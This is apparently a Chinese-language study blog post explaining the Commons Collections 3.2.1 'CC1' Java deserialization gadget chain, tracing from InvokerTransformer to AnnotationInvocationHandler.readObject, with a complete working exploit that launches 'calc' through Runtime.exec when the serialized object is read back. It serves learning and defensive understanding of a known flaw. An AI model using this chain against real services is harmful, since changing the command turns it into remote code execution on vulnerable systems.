CC1
在java的学习中CC1链是最重要的一条链子,也是必须先学的一条链子。我这个菜狗也是花了一下午时间才搞懂这个CC1链,想要学会这个CC1链的可以看这个视频Java反序列化CommonsCollections篇(一) CC1链手写EXP,讲的非常的详细易懂。我在这里只是做比较简单的记录
环境配置
首先关于环境配置,这里需要的环境是:
- jdk8u65(同时需要手动加入sun包的源码)
- Maven(任意较新的版本)
- commons-collections 3.2.1
其他的版本可能会因为缺少依赖或者漏洞被修复而无法复现
安装方法在上述视频中已经描述的很详细,大家可以看一下
正题
先来看看EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
    // CC1 exploit chain
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        // This array is equivalent to
        //
        // Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //
        //Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);
        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");
    }
    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}倒推
首先采用倒推来发现思路
发现漏洞点-InvokerTransformer.transform
在org.apache.commons.collections.functors.InvokerTransformer类里面有一个transform方法,该方法源码如下
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
          // 这一部分出现了任意代码执行的漏洞,写法非常类似一个后门
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }想办法调用漏洞点-TransformedMap.checkSetValue
为了执行这个漏洞点,我们就必须要找到一个调用transform的方法
经过查询,我们发现TransformedMap.checkSetValue会调用transform
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }我们只要让valueTransformer成为InvokerTransformer对象即可,在同类下有这么两个方法
    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);  // avoids double transformation
        }
        return decorated;
    }
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }这两个方法配合就可以给valueTransformer赋值
其中decorateTransform用来修饰Map对象
寻找TransformedMap.checkSetValue的调用点-AbstractInputCheckedMapDecorator.MapEntry#setValue
    static class MapEntry extends AbstractMapEntryDecorator {
        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;
        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }
        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }setValue方法调用了checkSetValue方法,
而这里的setValue实际是重写的Map.Entry#setValue
    interface Entry<K,V> {
        K getKey();
        V getValue();
        V setValue(V value);
        boolean equals(Object o);
        int hashCode();
        public static <K extends Comparable<? super K>, V> Comparator<Map.Entry<K,V>> comparingByKey() {
                ......
        }
        public static <K, V extends Comparable<? super V>> Comparator<Map.Entry<K,V>> comparingByValue() {
                ......
        }
        public static <K, V> Comparator<Map.Entry<K, V>> comparingByKey(Comparator<? super K> cmp) {
                ......
        }
        public static <K, V> Comparator<Map.Entry<K, V>> comparingByValue(Comparator<? super V> cmp) {
                ......
        }Entry是一个接口,被AbstractInputCheckedMapDecorator.MapEntry重写
所以只要执行一个被decorateTransform修饰的Map对象的setValue方法就可以触发AbstractInputCheckedMapDecorator.MapEntry#setValue
寻找setValue利用点-sun.reflect.annotation.AnnotationInvocationHandler#readObject
因为我们最终的目的就是让readObject方法去调用,所以我们尝试直接找找谁的readObject在调用setValue
经过漫长的寻找,我们找到了sun包下有一个readObject调用了setValue

即:
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(    // 利用点
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }这个方法会从memberValues中逐个取出键值对, 并使用键名获取memberTypes中的成员, 并判断这个成员是否为空, 然后将键值对对象中的值赋值给value, 并判断value 和memberType的一些关系, 然后就执行memberValue中的setValue(注意这里的参数我们无法控制)
这个方法里面有很多条件,我们后面再一一绕过
首要的是给memberValue赋值
可以使用构造方法给memberValue赋值
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }这个构造方法传了两个参数,第一个是一个类(泛型为继承Annotation,也就是注解),第二个参数是Map对象,传递参数给memberValues,可谓是刚刚好
解决不可序列化的Runtime对象
Runtime因为没有继承serialize接口, 所以不能被序列化
Runtime虽然不可序列化,但是他的class对象是可以序列化的
那么就可以利用Runtime.class反射调用exec方法
先大致写一个反射过程
        Class<Runtime> runtimeClass = Runtime.class;
        Class<? extends Class> aClass = runtimeClass.getClass();
        Method getMethod = aClass.getMethod("getMethod", new Class[]{String.class, Class[].class});
        Object getRuntimeObject = getMethod.invoke(runtimeClass, new Object[]{"getRuntime", null});
        Class<?> aClass1 = getRuntimeObject.getClass();
        Method invoke = aClass1.getMethod("invoke", new Class[]{Object.class, Object[].class});
        Object RuntimeObject = invoke.invoke(getRuntimeObject, new Object[]{null, null});
        Class<?> aClass2 = RuntimeObject.getClass();
        Method exec = aClass2.getMethod("exec", new Class[]{String.class});
        exec.invoke(RuntimeObject, new Object[]{"calc"});在这个反射过程中,我们使用Runtime.class 获得了getMethod方法,再使用这个方法获取了Runtime对象,最后再反射获得Runtime的exec方法,然后执行我们想执行的命令calc
接着我们用InvokerTransformer类把他换一下
Object getMethodObject = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Object RuntimeObject = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethodObject);
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(RuntimeObject);但我们还面临了一个问题,我们该怎么同时去执行这三条语句
其实大佬已经给我们找好了, 就是ChainedTransformer类
这个类里面有两个重要的方法
    // Constructor
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }其中第一个是构造方法,可以用来传一个transformer数组
第二个方法叫transform,是不是刚好可以调用呀, 来看看这个方法干的活: 便利执行iTransformers 中的transformer对象的transform方法, 并把返回值当作下一个循回的参数, 是不是刚刚好合适呀
那我们就这样构造
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);相比你一定会感到奇怪, 为什么还有new ConstantTransformer(Runtime.class)
因为在sun.reflect.annotation.AnnotationInvocationHandler#readObject里面, transform 的参数我们无法控制, 所以就需要利用ConstantTransformer对象先返回一个Runtime.class, 这样后面的语句才能得到他们应该得到的参数
然后这是ConstantTransformer的方法
public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }该类中的transform方法会直接返回构建函数的参数, 为下一循环提供Runtime.class需求
正推
readObject方法
现在我们已经大概知道了方向,现在开始正推理清思路
首先从readObject方法开始
因为这个方法是私有的,所以我们要用反射的方式去获得这个方法,并获取一个AnnotationInvocationHandler对象
        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);其中传递了两个参数, 一个是注解的字节码对象, 另一个正如他的形参名,是一个被TransformedMap.<em>decorate</em>
修饰的
<em>Map</em>
那么我们先去构建这个transformedMap 对象吧
HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        // chainedTransformer 前面已经构建过了接着是绕过readObject中的两个IF
首先第一个IF
memberType != null --> memberTypes.get(name) --> annotationType.memberTypes() --> AnnotationType.getInstance(type);简而言之: memberType就是type的成员类型, 那么这里就对type(注解类)提出了要求, type必须是含有成员的才行
首先我们最容易想到的一个注解就是@Override
但是很可惜 @Override 没有成员

然后观察一下旁边的@Trget

@Target有成员
那就利用这个constructor.newInstance(Target.class, transformedMap);第一个参数传入Target.class
这样子就可以绕过第一个IF,然后看第二个IF
memberType.isInstance(value) 表示vaule能不能强转成memberType,显然不能
value 
instanceof 
ExceptionProxy 表示vaule是不是ExceptionProxy 这种类型,显然也不是,那么这个IF其实不用绕就过了
然后我们就成功执行了memberValue.setValue命令了,然后跳到setValue方法
setValue方法

这个方法中的parent是TransformedMap对象, 也就是我们构建的那个修饰过的Map

接着就调用transformedMap对象的checkSetValue方法
checkSetValue方法

这里的valueTransformer即ChainedTranformer, 也就是我们构建的那个transformer集合

这里调用了chainedTransformer的transform方法
chaindTransformer.transform方法

开始循环执行我们的Transformer集合
循环:
-  执行newConstantTransformer(Runtime.class), 返回Runtime.class
- 执行newInvokerTransformer("getMethod", newClass[]{String.class,Class[].class}, newObject[]{"getRuntime", null}), 返回一个getMethod方法的对象
- 执行newInvokerTransformer("invoke", newClass[]{Object.class,Object[].class}, newObject[]{null, null}), 返回Runtime对象
- 执行newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"}), 成功执行exec方法, 参数为calc, 成功唤起计算器
InvokerTransformer.transform方法
这个方法上面已经讲过了,这里再重复一下
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }这个方法会反射获得传入参数(input)的字节码对象,然后用字节码对象反射获得一个iMethodName所指的方法, 并执行这个方法
在InvokerTransformer(
"exec"
, new 
Class[]{String.
class
}
, new 
Object[]{
"calc"
}.transform(Runtime.getRuntime())里实际执行的代码如下
Class cls = Runtime.getRuntime().getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(Runtime.getRuntime(), "calc");构造EXP
整个流程已经分析完了, 现在我们开始把之前写的代码进行整合, 构造出一条完整的EXP来
首先构造一个Transformer集合
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);接着new一个Map对象, 并进行修饰
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);然后反射获得sun.reflect.annotation.AnnotationInvocationHandler 的 readObject方法, 并实例化一个对象
        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);然后些一个序列化和反序列化的方法, 并调用一下
        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");
    }
    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }然后我们合并一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
    // CC1 exploit chain
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        // This array is equivalent to
        //
        // Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //
        //Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);
        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");
    }
    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}这就是我们的EXP了, 是不是现在感觉也挺简单的
Java的反序列差不多就是这个原理, 懂了这一个链子, 对其他的链子了解的也差不多了
结束
CC1 链也就这些东西, Just So

Hi!